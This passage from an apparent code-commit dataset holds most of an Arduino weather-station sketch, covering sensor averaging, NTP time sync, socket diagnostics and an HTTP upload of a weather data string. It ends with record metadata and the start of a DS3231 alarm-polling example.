http:\/\/stackoverflow.com\/questions\/1813483\/averaging-angles-again\n long sum = winddiravg[0];\n int D = winddiravg[0];\n for(int i = 1 ; i < WIND_DIR_AVG_SIZE ; i++)\n {\n int delta = winddiravg[i] - D;\n\n if(delta < -180)\n D += delta + 360;\n else if(delta > 180)\n D += delta - 360;\n else\n D += delta;\n\n sum += D;\n }\n winddir_avg2m = sum \/ WIND_DIR_AVG_SIZE;\n if(winddir_avg2m >= 360) winddir_avg2m -= 360;\n if(winddir_avg2m < 0) winddir_avg2m += 360;\n\n \/\/Calc windgustmph_10m\n \/\/Calc windgustdir_10m\n \/\/Find the largest windgust in the last 10 minutes\n windgustmph_10m = 0;\n windgustdir_10m = 0;\n \/\/Step through the 10 minutes\n for(int i = 0; i < 10 ; i++)\n {\n if(windgust_10m[i] > windgustmph_10m)\n {\n windgustmph_10m = windgust_10m[i];\n windgustdir_10m = windgustdirection_10m[i];\n }\n }\n\n \/\/Calc windgustmph_5m\n \/\/Calc windgustdir_5m\n \/\/Find the largest windgust in the last 10 minutes\n windgustmph_5m = 0;\n windgustdir_5m = 0;\n \/\/Step through the 5 minutes\n for(int i = 0; i < 5 ; i++)\n {\n if(windgust_5m[i] > windgustmph_5m)\n {\n windgustmph_5m = windgust_5m[i];\n windgustdir_5m = windgustdirection_5m[i];\n }\n }\n\n \/\/Calc humidity\n humidity = myHumidity.readHumidity();\n\n \/\/Calc tempf from pressure sensor\n tempf = myPressure.readTempF();\n\n \/\/Total rainfall for the day is calculated within the interrupt\n \/\/Calculate amount of rainfall for the last 60 minutes\n rainin = 0;\n for(int i = 0 ; i < 60 ; i++)\n rainin += rainHour[i];\n\n \/\/Calc pressure but ONLY ONCE A MINUTE, so deltas are meaningful.\n if (seconds == 59) {\n oldPressure = pressure;\n pressure = myPressure.readPressure();\n if (oldPressure == 0) oldPressure = pressure; \/\/First time, let's not have a \"delta\" of the current pressure.\n }\n\n \/\/Get voltage and current from INA219 sensors\n float shuntvoltage = 0;\n float busvoltage = 0;\n float current_mA = 0;\n float loadvoltage = 0;\n float avg_plus = 0;\n float avg_minus = 0;\n\n \/\/ INA219 AAAAAA\n shuntvoltage = ina219a.getShuntVoltage_mV();\n busvoltage = ina219a.getBusVoltage_V();\n current_mA = ina219a.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n\n avg_plus = loadvoltage \/ VOLTAGE_AVG_SIZE;\n avg_minus = ina219a_volts \/ VOLTAGE_AVG_SIZE;\n ina219a_volts = ina219a_volts - avg_minus + avg_plus;\n\n avg_plus = current_mA \/ VOLTAGE_AVG_SIZE;\n avg_minus = ina219a_current \/ VOLTAGE_AVG_SIZE;\n ina219a_current = ina219a_current -avg_minus + avg_plus;\n\n \/\/ INA219 BBBBBB\n shuntvoltage = ina219b.getShuntVoltage_mV();\n busvoltage = ina219b.getBusVoltage_V();\n current_mA = ina219b.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n\n avg_plus = loadvoltage \/ VOLTAGE_AVG_SIZE;\n avg_minus = ina219b_volts \/ VOLTAGE_AVG_SIZE;\n ina219b_volts = ina219b_volts - avg_minus + avg_plus;\n\n avg_plus = current_mA \/ VOLTAGE_AVG_SIZE;\n avg_minus = ina219b_current \/ VOLTAGE_AVG_SIZE;\n ina219b_current = ina219b_current -avg_minus + avg_plus;\n\n\n \/* \/\/Diagnostic printout for INA219 sensor\n Serial.print(\"Bus: \"); Serial.print(busvoltage); Serial.print(\" V, \");\n Serial.print(\"Shunt: \"); Serial.print(shuntvoltage); Serial.print(\" mV, \");\n Serial.print(\"Load: \"); Serial.print(loadvoltage); Serial.print(\" V, \");\n Serial.print(\"Current: \"); Serial.print(current_mA); Serial.print(\" mA, \");\n Serial.print(\"Power: \"); Serial.print(current_mA \/ 1000 * loadvoltage); Serial.println(\" W\"); *\/\n\n\n \/\/Calc dewptf\n\n \/\/Calc light level\n light_lvl = get_light_level();\n\n \/\/Calc battery level\n batt_lvl = get_battery_level();\n sla_lvl = get_sla_level();\n \n}\n\n\/\/Returns the voltage of the light sensor based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\nfloat get_light_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n float lightSensor = analogRead(LIGHT);\n\n operatingVoltage = 3.3 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n lightSensor = operatingVoltage * lightSensor;\n\n return(lightSensor);\n}\n\n\/\/Returns the voltage of the raw pin based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\n\/\/Battery level is connected to the RAW pin on Arduino and is fed through two 5% resistors:\n\/\/3.9K on the high side (R1), and 1K on the low side (R2)\nfloat get_battery_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n float rawVoltage = analogRead(BATT);\n\n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n\n return(rawVoltage);\n}\n\nfloat get_sla_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n float rawVoltage = analogRead(SLA_BATT);\n sla_raw = rawVoltage;\n\n \/\/Calculate a rolling average over 10 seconds. Each second we subtract 1\/10th of the average, and add the current value.\n sla_10secRaw -= sla_10secRaw \/ 10;\n sla_10secRaw += sla_raw;\n\n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n \/\/rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n \/\/rawVoltage *= 15.705; \/\/(1m+68k)\/68k - multiply SLA_BATT voltage by the voltage divider to get actual battery voltage\n rawVoltage *= 16.705; \/\/add 1 for \"fudge factor\".\n sla_30sec -= sla_30sec \/ 30.0;\n sla_30sec += rawVoltage \/ 30.0;\n\n return(rawVoltage);\n\n}\n\n\/\/Returns the instataneous wind speed\nfloat get_wind_speed()\n{\n float deltaTime = millis() - lastWindCheck; \/\/ (ex: 750ms)\n deltaTime \/= 1000.0; \/\/Covert to seconds\n float windSpeed = (float)windClicks \/ deltaTime; \/\/ (ex, 3 clicks \/ 0.750s = 4 clicks per second)\n\n windClicks = 0; \/\/Reset and start watching for new wind\n lastWindCheck = millis();\n windSpeed *= 1.492; \/\/4 * 1.492 = 5.968MPH\n\n return(windSpeed);\n}\n\n\/\/Read the wind direction sensor, return heading in degrees\nint get_wind_direction()\n{\n unsigned int adc;\n\n adc = analogRead(WDIR); \/\/ get the current reading from the sensor\n winddirRaw = adc; \/\/ Save the ADC value for troubleshooting.\n\n \/\/ The following table is ADC readings for the wind direction sensor output, sorted from low to high.\n \/\/ Each threshold is the midpoint between adjacent headings. The output is degrees for that ADC reading.\n \/\/ Note that these are not in compass degree order! See Weather Meters datasheet for more information.\n\n if (adc < 380) { strWindDir = \"ESE\"; return (113); } \/\/ ESE\n if (adc < 393) { strWindDir = \"ENE\"; return (68); } \/\/ ENE\n if (adc < 414) { strWindDir = \"E\"; return (90); } \/\/ E\n if (adc < 456) { strWindDir = \"SSE\"; return (158); } \/\/ SSE\n if (adc < 508) { strWindDir = \"SE\"; return (135); } \/\/ SE\n if (adc < 551) { strWindDir = \"SSW\"; return (203); } \/\/ SSW\n if (adc < 615) { strWindDir = \"S\"; return (180); } \/\/ S\n if (adc < 680) { strWindDir = \"NNE\"; return (23); } \/\/ NNE\n if (adc < 746) { strWindDir = \"NE\"; return (45); } \/\/ NE\n if (adc < 801) { strWindDir = \"WSW\"; return (248); } \/\/ WSW\n if (adc < 833) { strWindDir = \"SW\"; return (225); } \/\/ SW\n if (adc < 878) { strWindDir = \"NNW\"; return (338); } \/\/ NNW\n if (adc < 913) { strWindDir = \"N\"; return (0); } \/\/ N\n if (adc < 940) { strWindDir = \"WNW\"; return (293); } \/\/ WNW\n if (adc < 967) { strWindDir = \"NW\"; return (315); } \/\/ NW\n if (adc < 990) { strWindDir = \"W\"; return (270); } \/\/ W\n if (adc < 1010) {strWindDir = \"W\"; return (270); } \/\/ W - Sometimes 270 returns higher than 990.\n strWindDir = \"ERR\";\n return (-10); \/\/ error, disconnected?\n}\n\n\n\/*-------- NTP code ----------*\/\n\/*****************************************************************************\n _______ _____ __ __ ______ __ _ _ _______ _____ \n |__ __| |_ _| | \\\/ | | ____| \/ \/ | \\ | | |__ __| | __ \\ \n | | | | | \\ \/ | | |__ \/ \/ | \\| | | | | |__) |\n | | | | | |\\\/| | | __| \/ \/ | . ` | | | | ___\/ \n | | _| |_ | | | | | |____ \/ \/ | |\\ | | | | | \n |_| |_____| |_| |_| |______| \/_\/ |_| \\_| |_| |_| \n\n *****************************************************************************\n *\/\n\ntime_t getNtpTime()\n{\n \/\/ We don't want to send anything during power save times, for now.\n if (powerSave) {\n Serial.println(\" NTP requested, but NO PACKET SENT due to Power Save mode.\");\n return 0;\n }\n if (disableNTP) {\n Serial.println(\" NTP requested, but disabled via \\\"const bool disableNTP = true;\\\"\");\n return 0;\n }\n Udp.begin(NTPlocalPort); \/\/ Moved from setup(), to try stop()ing udp every time.\n while (Udp.parsePacket() > 0) ; \/\/ discard any previously received packets\n Serial.println(F(\"Transmit NTP Request\"));\n msNTPrequest = millis();\n sendNTPpacket(timeServer);\n \/\/sendNTPpacket(timeServerIP);\n uint32_t beginWait = millis();\n \/\/ Normal timeout is 1500, but I can't pause that long or weather gets messed up.\n \/\/ FIXME: see about making this check every loop(), for 1500ms before failing, instead of looping here.\n while (millis() - beginWait < 800) {\n int size = Udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n Serial.print(F(\" UDP response received \"));\n Serial.print(millis() - msNTPrequest);\n Serial.println(F(\"ms later. Parsing for NTP\"));\n Udp.read(packetBuffer, NTP_PACKET_SIZE); \/\/ read packet into the buffer\n unsigned long secsSince1900;\n \/\/ convert four bytes starting at location 40 to a long integer\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n Udp.stop();\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n Serial.print(F(\"After waiting \"));\n Serial.print(millis() - msNTPrequest);\n Serial.println(F(\"ms, No NTP Response :-(\"));\n Udp.stop();\n return 0; \/\/ return 0 if unable to get the time\n}\n\n\/\/ send an NTP request to the time server at the given address (DNS lookup version, see IPAddress() version below)\nunsigned long sendNTPpacket(char* address)\n{\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp:\n Serial.print(F(\" About to send UDP NTP packet from char* ... \"));\n \/\/wdt_disable();\n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n Udp.write(packetBuffer, NTP_PACKET_SIZE);\n Udp.endPacket();\n \/\/wdt_enable(WDTO_8S);\n Serial.println(F(\"sent (probably).\"));\n}\n\n\/\/ send an NTP request to the time server at the given address (IP, no-dns version)\nunsigned long sendNTPpacket(IPAddress address)\n{\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp:\n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n Udp.write(packetBuffer, NTP_PACKET_SIZE);\n Udp.endPacket();\n Serial.println(F(\" UDP NTP packet sent from IPAddress (probably).\"));\n}\n\n\nvoid ShowSockStatus()\n{\n \/\/ CLOSED 0x00 \/\/ LISTEN 0x14 \/\/ ESTABLISHED 0x17 \/\/ FIN_WAIT 0x18 \/\/ CLOSE_WAIT 0x1C \/\/ UDP 0x22\n for (int i = 0; i < MAX_SOCK_NUM; i++) {\n Serial.print(\"Socket#\");\n Serial.print(i);\n uint8_t s = W5100.readSnSR(i);\n ethSockStatus[i] = s;\n Serial.print(\":0x\");\n Serial.print(s,16);\n Serial.print(\" \");\n Serial.print(W5100.readSnPORT(i));\n Serial.print(\" D:\");\n uint8_t dip[4];\n W5100.readSnDIPR(i, dip);\n for (int j=0; j<4; j++) {\n Serial.print(dip[j],10);\n if (j<3) Serial.print(\".\");\n }\n Serial.print(\"(\");\n Serial.print(W5100.readSnDPORT(i));\n Serial.println(\")\");\n }\n}\n\n\nint freeRam () {\n extern int __heap_start, *__brkval; \n int v; \n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval); \n}\n\nvoid printDigits(int digits){\n \/\/ utility function adds leading 0\n if(digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\n\n\/\/Utility function for SD cards\n\/*\n * void printDirectory(File dir, int numTabs) {\n \/\/ Begin at the start of the directory\n dir.rewindDirectory();\n \n while(true) {\n File entry = dir.openNextFile();\n if (! entry) {\n \/\/ no more files\n \/\/Serial.println(\"**nomorefiles**\");\n break;\n }\n for (uint8_t i=0; i<numTabs; i++) {\n Serial.print('\\t'); \/\/ we'll have a nice indentation\n }\n \/\/ Print the 8.3 name\n Serial.print(entry.name());\n \/\/ Recurse for directories, otherwise print the file size\n if (entry.isDirectory()) {\n Serial.println(\"\/\");\n printDirectory(entry, numTabs+1);\n } else {\n \/\/ files have sizes, directories do not\n Serial.print(\"\\t\\t\");\n Serial.println(entry.size(), DEC);\n }\n entry.close();\n }\n}\n*\/\n\nbyte uploadWeather()\n{\n if (powerSave) {\n\t Serial.println(\"UploadWeather() called, but NO DATA SENT because of Power Save mode.\");\n\t return 50;\n\t}\n\t\n\t\/\/ Connect to CSS website, do a PUT with weather values. Should be called once for every minute of weather data.\n logSome(F(\" uploadWeather called, building string. Bytes free: \"));\n logOneLine(freeRam());\n byte uploadStatus = 90; \/\/90 = haven't tried stopping the client yet.\n\n \/\/ Preemptively close any open connections, to keep sockets available.\n client.stop();\n while (client.available()) { \/\/read return from socket\n Serial.write(client.read());\n }\n\n uploadStatus = 100; \/\/100 = stopped client, but haven't tried connecting.\n \n String strPut = makeUploadWeatherPut(getWeatherString());\n\n \/\/Serial.print(F(\" before strPut, after strPut: \"));\n \/\/Serial.println(freeRam());\n\n char charPut[300];\n for (int i = 0; i < 300; i++) {\n charPut[i] = 'x';\n }\n charPut[299] = '\\0';\n int strPutLength = strPut.length() + 1;\n Serial.print(\"strPut len: \");\n Serial.println(strPutLength);\n if (strPutLength > 298) strPutLength = 298;\n strPut.toCharArray(charPut, strPutLength);\n\n client.setTimeout(600);\n int clientConnectStatus;\n clientConnectStatus = client.connect(server, 80);\n if (clientConnectStatus) {\n logSome(F(\"Ether client connected for uploadWeather. Mem: \"));\n logSome(freeRam());\n logSome(\", connect status: \");\n logOneLine(clientConnectStatus);\n ethStopped = false;\n \n \/\/ Make an HTTP request:\n \/\/logSome(strPut);\n \/\/client.print(strPut); \/\/Single print so hopefully it goes out in one packet.\n Serial.write(charPut, strPutLength); \/\/for debugging\n client.write(charPut, strPutLength); \/\/Better chance of a single packet by using a char[].\n ethLastMillis = millis();\n uploadStatus = 0;\n ethConnFails = 0;\n ethTimeouts = 0;\n \n } else {\n \/\/ if you didn't get a connection to the server:\n logSome(F(\"connection failed, status: \"));\n logOneLine(clientConnectStatus);\n ethLastFailureCode = clientConnectStatus;\n client.stop();\n ethStopped = true;\n ethConnFails++;\n uploadStatus = 200; \/\/ connection failed\n }\n\n logSome(F(\" uploadWeather() finished, free mem: \"));\n logOneLine(freeRam());\n return uploadStatus;\n}\n\n\/\/ Test with building strings, to use for the website request.\nString getWeatherString() {\n String weatherString = \"\";\n int tempc = RTC.temperature();\n\n \/\/ 1: time\n if (hour() < 10) weatherString += String('0');\n weatherString += String(hour());\n weatherString += \":\";\n if (minute() < 10) weatherString += String('0');\n weatherString += String(minute());\n\n \/\/ 2: date\n weatherString += String(charComma);\n weatherString += String(month());\n weatherString += String((\"\/\"));\n weatherString += String(day());\n weatherString += String((\"\/\"));\n weatherString += String(year());\n\n \/\/ 3: Wind speed, mph, 1 minute average\n weatherString += String(charComma);\n if (windSpeedAvg < 9.5) weatherString += String('0');\n weatherString += String(windSpeedAvg, 2);\n \n \/\/ 4: wind speed, mph, 5 minute max (gust)\n weatherString += String(charComma);\n if (windgustmph_5m < 9.5) weatherString += String('0');\n weatherString += String(windgustmph_5m, 1);\n\n \/\/ 5: wind direction, 1 minute average\n weatherString += String(charComma);\n if ((winddir < 10 ) and (winddir >= 0)) weatherString += String(\"0\"); \/\/pad with zeros to keep formatting nicer\n if ((winddir < 100) and (winddir >= 0)) weatherString += String(\"0\"); \/\/pad with zeros to keep formatting nicer\n weatherString += String(winddir);\n \/\/weatherString += String(\",windgustdir=\");\n \/\/weatherString += String(windgustdir);\n\n \/\/ 6: temperature, F, outside, instant\n weatherString += String(charComma);\n weatherString += String(bme280a.readTempF(), 2);\n\/\/ All this was before the BME280\n\/\/ if (tempf < -1000) {\n\/\/ weatherString += String((tempc * 0.45) + 32, 1);\n\/\/ } else {\n\/\/ weatherString += String(tempf, 0);\n\/\/ }\n\n \/\/ 7: humidity, %, outside, instant from bme280a\n weatherString += String(charComma);\n weatherString += String(bme280a.readFloatHumidity(), 0);\n\/\/ All this was before the BME280\n\/\/ if (humidity < 200) {\n\/\/ \/\/weatherString += String(humidity, 1);\n\/\/ } else {\n\/\/ weatherString += \"0\";\n\/\/ }\n\n \/\/ 8: Barometric pressure, hPa, outside, instant from bme280a\n weatherString += String(charComma);\n weatherString += String(bme280a.readFloatPressure() \/ 100.0, 2);\n\/\/ All this wasbefore the BME280\n\/\/ if (pressure > 0) {\n\/\/ weatherString += String(pressure \/ 100.0, 1);\n\/\/ } else {\n\/\/ weatherString += \"0\";\n\/\/ }\n\n \/\/ 9: Barometric pressure delta from previous reading\n weatherString += String(charComma);\n \/\/if (pressure >= oldPressure) weatherString += String(\"+\"); \/\/can't have spaces in the URL, but using the + makes columns line up nicer.\n \/\/weatherString += String((pressure - oldPressure) \/ 100.0, 2);\n weatherString += \"0\";\n\n \/\/ 10: rain so far today\n \/\/weatherString += String(\",rainin=\");\n \/\/weatherString += String(rainin, 2);\n weatherString += String(charComma);\n\/\/ weatherString += String(0.0, 2);\n weatherString += String(wxOwner);\n\n \/\/ 11: rain long term? Maybe it's supposed to be last 24h, but it's always zero.\n \/\/weatherString += String(\",dailyrainin=\");\n \/\/weatherString += String(dailyrainin, 2);\n weatherString += String(charComma);\n\/\/ weatherString += String(0.0, 2);\n weatherString += String(wxVersion);\n\n \/\/ 11: wind speed, mph, instant (instead of 24h rain)\n \/\/weatherString += String(charComma);\n \/\/if (windspeedmph < 10) weatherString += String('0');\n \/\/weatherString += String(windspeedmph, 1);\n\n \/\/ 12: temperature in the enclosure or 2nd sensor if we get one. In Celcius for Jimmy.\n weatherString += String(charComma);\n if (tempc) {\n weatherString += String(tempc \/ 4.0, 2); \/\/Dja\n } else {\n weatherString += \"0\";\n }\n\n \/\/ 13: Current on ina219 sensor A (raw battery @ 12v maybe?)\n weatherString += String(charComma);\n weatherString += String(ina219a_current, 2);\n weatherString += String(\"mA\");\n\n \/\/ 14: Voltage on ina219 sensor A (raw battery @ 12v maybe?)\n weatherString += String(charComma);\n weatherString += String(ina219a_volts, 2);\n weatherString += String(\"v\");\n \/\/weatherString += String(batt_lvl, 2);\n\n \/\/ 15: Power on ina219 sensor A (watts battery)\n weatherString += String(charComma);\n weatherString += String(ina219a_volts * ina219a_current \/ 1000, 2);\n weatherString += String(\"w\");\n\n\n \/\/ 16: Current on ina219 sensor B (after buck to 5v maybe?)\n weatherString += String(charComma);\n weatherString += String(ina219b_current, 2);\n weatherString += String(\"mA\");\n\n \/\/ 17: Voltage on ina219 sensor A (after buck to 5v maybe?)\n weatherString += String(charComma);\n weatherString += String(ina219b_volts, 2);\n weatherString += String(\"v\");\n \/\/weatherString += String(batt_lvl, 2);\n\n \/\/ 18: Power on ina219 sensor A (watts battery)\n weatherString += String(charComma);\n weatherString += String(ina219b_volts * ina219b_current \/ 1000, 2);\n weatherString += String(\"w\");\n\n\n\n \/\/ 19: light level, referenced to voltage I think\n weatherString += String(charComma);\n\/\/ weatherString += String(light_lvl, 2);\n weatherString += \"0\";\n\n \/\/ 20: run time in days.HH:MM:SS\n weatherString += String(charComma);\n weatherString += String(days);\n weatherString += String(\".\");\n if (hours < 10) weatherString += String('0');\n weatherString += String(hours);\n weatherString += String(\":\");\n if (minutes < 10) weatherString += String('0');\n weatherString += String(minutes);\n weatherString += String(\":\");\n if (seconds < 10) weatherString += String('0');\n weatherString += String(seconds);\n\n \/* 18: loop counter. For diagnostics, mostly useless.\n weatherString += String(charComma);\n weatherString += String(loopCounter);\n weatherString += String(charComma);\n weatherString += String(loopCounter - loopDelta);\n loopDelta = loopCounter; *\/\n\n \/\/ 18: print free memory? Interesting...\n\/\/ weatherString += String(charComma);\n\/\/ weatherString += String(freeRam());\n\n \/\/ 21: print raw wind direction ADC reading, to see why 270 degree sometimes comes back as \"invalid\"\n if (true) {\n weatherString += String(charComma);\n weatherString += String(\"wd=\");\n weatherString += String(winddirRaw);\n }\n if (true) {\n weatherString += String(charComma);\n if (strWindDir.length() < 3) weatherString += String(\"_\");\n if (strWindDir.length() < 2) weatherString += String(\"_\");\n weatherString += strWindDir;\n }\n\n \/\/ 22+: Assorted info and error values\n \/\/ Tack on a ,R if we've rebooted to make it easier to spot them\n if(justRestarted) {\n weatherString += \",R\";\n }\n\n \/\/ add socket status as 8 hex chars\n bool reportSockets = false;\n for (int i = 0; i < MAX_SOCK_NUM; i++) {\n if (ethSockStatus[i] > 0) reportSockets = true;\n }\n if (reportSockets) {\n weatherString += String(charComma);\n for (int i = 0; i < MAX_SOCK_NUM; i++) {\n if (ethSockStatus[i] < 17) weatherString += String(\"0\");\n weatherString += String(ethSockStatus[i], 16);\n }\n }\n\n \/\/ If there have been failures, tack them on:\n if (ethConnFails) {\n weatherString += String(F(\",EthConnFails=\"));\n weatherString += String(ethConnFails);\n }\n if (ethTimeouts) {\n weatherString += String(F(\",Timeouts=\"));\n weatherString += String(ethTimeouts);\n }\n if (ethLastFailureCode) {\n weatherString += String(F(\",failCode=\"));\n weatherString += String(ethLastFailureCode);\n }\n if(reportWatchdog) {\n weatherString += \",W-\";\n weatherString += String(year(reportWatchdog));\n weatherString += String((\"\/\"));\n weatherString += String(month(reportWatchdog));\n weatherString += String((\"\/\"));\n weatherString += String(day(reportWatchdog));\n weatherString += String(\"@\");\n weatherString += String(hour(reportWatchdog));\n weatherString += String((\":\"));\n weatherString += String(minute(reportWatchdog));\n }\n\n \/\/Serial.println(weatherString);\n\tweatherString.replace(\" \", \"\");\n return weatherString;\n}\n\n\/\/Prints the various variables directly to the port\n\/\/I don't like the way this function is written but Arduino doesn't support floats under sprintf\nvoid printWeather()\n{\n \/\/calcWeather(); \/\/Go calc all the various sensors; except now call it directly from loop()\n timeStatus(); \/\/check the time status now to force a sync if needed.\n\n \/\/ 1: time\n printDigits(hour());\n Serial.print((\":\"));\n printDigits(minute());\n\n \/\/ 2: date\n Serial.print(charComma);\n Serial.print(month());\n Serial.print((\"\/\"));\n Serial.print(day());\n Serial.print((\"\/\"));\n Serial.print(year());\n\n \/\/ 3: Wind speed, mph, 1 minute average\n Serial.print(charComma);\n if (windSpeedAvg < 10) Serial.print('0');\n Serial.print(windSpeedAvg, 2);\n\n \/\/ 4: wind speed, mph, 5 minute max (gust)\n Serial.print(charComma);\n if (windgustmph_5m < 10) Serial.print('0');\n Serial.print(windgustmph_5m, 1);\n\n \/\/ 5: wind direction, 1 minute average\n Serial.print(charComma);\n if (winddir == 0 ) Serial.print(\" \");\n if (winddir < 100) Serial.print(\" \");\n Serial.print(winddir);\n \/\/Serial.print(\",windgustdir=\");\n \/\/Serial.print(windgustdir);\n \/\/Serial.print(F(\",wAvg=\"));\n \/\/Serial.print(windspdmph_avg2m, 2);\n\n \/\/ 6: temperature, F, outside, instant\n Serial.print(charComma);\n Serial.print(tempf, 1);\n\n \/\/ 7: humidity, %, outside, instant\n Serial.print(charComma);\n Serial.print(humidity, 1);\n\n \/\/ 8: Barometric pressure, hPa, outside, instant\n Serial.print(charComma);\n Serial.print(pressure \/ 100.0, 1);\n\n \/\/ 9: Barometric pressure delta from previous reading\n Serial.print(charComma);\n if (pressure >= oldPressure) Serial.print(\" \");\n Serial.print((pressure - oldPressure) \/ 100.0, 2);\n\n \/\/ 10: rain so far today\n \/\/Serial.print(\",rainin=\");\n \/\/Serial.print(rainin, 2);\n Serial.print(charComma);\n Serial.print(0.0, 2);\n\n \/\/ 11: rain long term? Maybe it's supposed to be last 24h, but it's always zero.\n \/\/Serial.print(\",dailyrainin=\");\n \/\/Serial.print(dailyrainin, 2);\n \/\/Serial.print(\",\");\n \/\/Serial.print(0.0, 2);\n\n \/\/ 11: wind speed, mph, instant (instead of 24h rain)\n Serial.print((\",\"));\n if (windspeedmph < 10) Serial.print('0');\n Serial.print(windspeedmph, 1);\n\n \/\/ 12: temperature in the enclosure or 2nd sensor if we get one\n Serial.print(charComma);\n \/\/Serial.print(tempf, 1); \/\/(FIXME: same as ext sensor since we only have one)\n Serial.print(RTC.temperature() \/ 4);\n\n \/\/ 13: current in mA\n \/\/(FIXME: same as ext sensor since we only have one)\n Serial.print(charComma);\n Serial.print(ina219a_current, 2);\n Serial.print(\"mA\");\n\n \/\/ 14: voltage onboard, ~5v source\n Serial.print(charComma);\n Serial.print(batt_lvl, 2);\n\n \/\/ 15: voltage battery, possibly inferred but same as 14 for now.\n Serial.print(charComma);\n Serial.print(ina219a_volts,2);\n \/\/Serial.print(sla_30sec, 2);\n\n \/\/ 16: light level, referenced to voltage I think\n Serial.print(charComma);\n Serial.print(light_lvl, 2);\n\n \/\/ 17: run time in days.HH:MM:SS\n Serial.print(charComma);\n Serial.print(days);\n Serial.print(\".\");\n printDigits(hours);\n Serial.print(\":\");\n printDigits(minutes);\n Serial.print(\":\");\n printDigits(seconds);\n\n \/\/ 18: Print the RTC date & time. For debugging.\n time_t rtcTime = RTC.get();\n Serial.print(charComma);\n Serial.print(\"rtc:\");\n Serial.print(year(rtcTime));\n Serial.print(\"\/\");\n Serial.print(month(rtcTime));\n Serial.print(\"\/\");\n Serial.print(day(rtcTime));\n Serial.print(charComma);\n Serial.print(hour(rtcTime));\n Serial.print(\":\");\n Serial.print(minute(rtcTime));\n Serial.print(\":\");\n Serial.print(second(rtcTime));\n\n\n\/*\n \/\/ loop counter. For diagnostics, mostly useless.\n Serial.print(charComma);\n Serial.print(loopCounter);\n Serial.print(charComma);\n Serial.print(loopCounter - loopDelta);\n loopDelta = loopCounter;\n\n \/\/ Print the raw 12v input on A12\/SLA_BATT_LVL\n Serial.print(charComma);\n Serial.print(sla_raw);\n Serial.print(charComma);\n Serial.print(sla_lvl, 2);\n Serial.print(charComma);\n Serial.print(sla_30sec, 2);\n\n \/\/Serial.print(charComma);\n \/\/Serial.print(F(\"__DATE__ \")); \/\/C++ #DEFINE that expands to the current compile date\n \/\/Serial.print(F(\"__TIME__\")); \/\/C++ #DEFINE that expands to the current compile time\n \/\/Serial.print(String(compile_date));\n*\/\n\n \/\/ 19: print free memory? Interesting...\n Serial.print(charComma);\n Serial.print(freeRam());\n\n \/\/ 20: print raw ADC reading from wind direction, to troubleshooting why 270 degrees sometimes reads invalid\n Serial.print(charComma);\n Serial.print(winddirRaw);\n\n \/\/ 21: print ina219a's voltage, current\n Serial.print(charComma);\n Serial.print(ina219a_volts);\n Serial.print(charComma);\n Serial.print(ina219a_current);\n\n \/\/ NEWLINE:\n Serial.println();\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoWeatherStation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df509fd1584eb14017b577c045b2594b56456575","subject":"Added example AlarmPolling that tests the new method checkIfAlarm(byte Alarm, bool clearflag)","message":"Added example AlarmPolling that tests the new method checkIfAlarm(byte Alarm, bool clearflag)\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"examples\/AlarmPolling\/AlarmPolling.ino","new_file":"examples\/AlarmPolling\/AlarmPolling.ino","new_contents":"\/*\nAlarmPolilng.ino\nJacob Nuernberg\n08\/22\n\nExample on using DS3231 alarms with polling and test checkIfAlarm()\n\nTested on:\n- Arduino nano\n\n*\/\n\n#include <DS3231.h>\n#include 